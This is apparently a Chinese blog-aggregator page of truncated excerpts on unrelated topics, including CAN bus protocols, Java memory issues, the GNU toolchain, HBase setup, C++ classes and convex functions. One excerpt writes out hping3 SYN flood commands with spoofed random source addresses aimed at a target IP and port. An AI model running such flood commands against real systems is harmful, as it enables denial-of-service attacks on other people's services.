在回顾了选择具有实时能力的嵌入式通信系统的基本要求之后，我们现在将更详细地探讨CAN和CANopen的实时能力和局限性。 控制器局域网(CAN)协议是各个行业众多应用的基础，每个应用都有其独特的实时需求。CANopen和J1939等著名示例强调了该协议的多种适应性…

在生产环境中我们会遇到一些问题，此文主要记录并复盘一下当时项目中的实际问题及解决过程。 背景简述 最初系统上线后都比较正常风平浪静的。在系统运行了一段时间后，业务量上升后，生产上发现java应用内存占用过高，服务器总共64…

1. GNU介绍 工具链典型的例子就是GNU工具链。 GNU工具链是由GNU项目产生的各种编程工具的集合，用于开发应用程序与操作系统。 GNU工具链在针对嵌入式系统的Linux内核、BSD及其它软件的开发中起着至关重要的作用。 GNU工具链中的部分工具也被Mac OS X, Microsoft W…

相关环境： 虚拟机：Centos7 hadoop版本:3.1.3 hbase版本:2.4.11 zookeeper版本:3.5.7 Java IDE:IDEA JDK：8 步骤 步骤一：在idea创建一个maven项目 步骤二：在虚拟机里找到core-site.x…

想钓鱼，就要像鱼那样思考。 树一个敌，等于立一堵墙。 【社交应酬潜规则之对付小人的方法】 对小人要勤打招呼，少说话； 不主动来往，但不拒绝来往； 不深交，但不绝交； 可以给予好处&am…

今天来到了类和对象部分，我们知道C语言是面向过程编程，而C是面向对象编程，那么怎么个具体实现方法呢？简单来说，就是C语言对结构体的定义和对结构体的操作是分开的，这样就显得过程很独立；而C是把…

一、hping3 1、syn随机ip泛洪 hping3 --flood -S --rand-source -p 端口 目标ip hping3 -c 10000 -d 120 -S -p 80 --flood --rand-source 192.168.112.130​说明： -c 100000 packets 发送的数量 -d 120 packet的大小 -S 只发送syn packets -p 80 目标端口&am…

假设函数是定义在某个向量空间的凸子集上的实值函数，并且，如果对于中的任何两个向量和，都满足： 则称为上的凸函数